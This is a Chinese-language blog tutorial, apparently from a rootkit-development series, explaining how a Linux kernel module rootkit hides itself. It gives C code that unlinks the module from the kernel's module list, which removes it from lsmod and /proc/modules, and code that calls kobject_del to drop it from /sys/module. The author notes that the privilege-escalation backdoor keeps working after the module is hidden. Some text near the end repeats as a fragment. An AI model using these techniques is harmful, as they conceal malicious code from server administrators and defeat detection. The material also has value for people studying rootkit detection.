04 模块基础 隐藏模块


当我们将一个 LKM 装载到内核模块中之后,用户尤其是服务器管理员可以使用 lsmod 命令 发现你在服务器上留下的rootkit

arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ sudo insmod rootkit.ko 
Password: 
arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ lsmod | grep 'rootkit'
rootkit                16384  0

虽然说我们可以把 rootkit 的名字改为「very_important_module_not_root_kit_please_donot_remove_it」一类的名字进行伪装从而通过社会工程学手段让用户难以发现异常,但是哪怕看起来再“正常”的名字也不能够保证不会被发现,因此我们需要让用户无法直接发现我们的 rootkit

PRE.内核中的内核模块:module 结构体

这里仅简要叙述,在内核当中使用结构体 module 来表示一个内核模块(定义于 /include/linux/module.h),多个内核模块通过成员 list (内核双向链表结构list_head,定义于/include/linux/types.h 中,仅有 next 与 prev 指针成员)构成双向链表结构

在内核模块编程中,我们可以通过宏 THIS_MODULE (定义于 include/linux/export.h)或者直接用其宏展开 &__list_module 来获取当前内核模块的 module 结构体,

Step-I. /proc/modules 信息隐藏

Linux 下用以查看模块的命令 lsmod 其实是从 /proc/modules 这个文件中读取并进行整理,该文件的内容来自于内核中的 module 双向链表,那么我们只需要将 rootkit 从双向链表中移除即可完成 procfs 中的隐藏

熟悉内核编程的同学应该都知道 list_del_init() 函数用以进行内核双向链表脱链操作,该函数定义于 /include/linux/list.h 中,多重套娃展开后其核心主要是常规的双向链表脱链,那么在这里我们其实可以直接手写双向链表的脱链工作

我们还需要考虑到多线程操作的影响,阅读 rmmod 背后的系统调用 delete_module 源码(位于 kernel/module.c 中),观察到其进入临界区前使用了一个互斥锁变量名为 module_mutex,我们的 unlink 操作也将使用该互斥锁以保证线程安全(毕竟我们进来不是直接搞破坏的hhh)

在模块初始化函数末尾添加如下:

static int __init rootkit_init(void)
{
...

    // unlink from module list
    struct list_head * list = (&__this_module.list);
    mutex_lock(&module_mutex);
    list->prev->next = list->next;
    list->next->prev = list->prev;
    mutex_unlock(&module_mutex);

    return 0;
}

将我们的 rootkit 重新 make 后加载到内核中,我们会发现 lsmod 命令已经无法发现我们的 rootkit,在 /proc/modules 文件中已经没有我们 rootkit 的信息,与此同时我们的 rootkit 所提供的功能一切正常

但同样地,无论是载入还是卸载内核模块都需要对双向链表进行操作,由于我们的 rootkit 已经脱链故我们无法将其卸载,同样地也无法将其再次载入(虽然说似乎并没有必要做这两件事情,因为 rootkit 一次载入后应当是要长久驻留在内核中的)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Step-II. /sys/module/ 信息隐藏

sysfs 与 procfs 相类似,同样是一个基于 RAM 的虚拟文件系统,它的作用是将内核信息以文件的方式提供给用户程序使用,其中便包括我们的 rootkit 模块信息,sysfs 会动态读取内核中的 kobject 层次结构并在 /sys/module/ 目录下生成文件

这里简单讲一下 kobject:Kobject 是 Linux 中的设备数据结构基类,在内核中为 struct kobject 结构体,通常内嵌在其他数据结构中;每个设备都有一个 kobject 结构体,多个 kobject 间通过内核双向链表进行链接;kobject 之间构成层次结构

kobject 更多信息参见https://zhuanlan.zhihu.com/p/104834616

熟悉内核编程的同学应该都知道我们可以使用 kobject_del() 函数(定义于 /lib/kobject.c中)来将一个 kobject 从层次结构中脱离,这里我们将在我们的 rootkit 的 init 函数末尾使用这个函数:

static int __init rootkit_init(void)
{
...

    // unlink from kobject
    kobject_del(&__this_module.mkobj.kobj);

    return 0;
}

简单测试,我们可以发现无论是在 procfs 中还是 sysfs 中都已经没有了我们的 rootkit 的身影,而提权的功能依旧正常,我们很好地完成了隐藏模块的功能

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

的身影,而提权的功能依旧正常,我们很好地完成了隐藏模块的功能

[外链图片转存中…(img-Du95UIrG-1706891735633)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丁金金

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值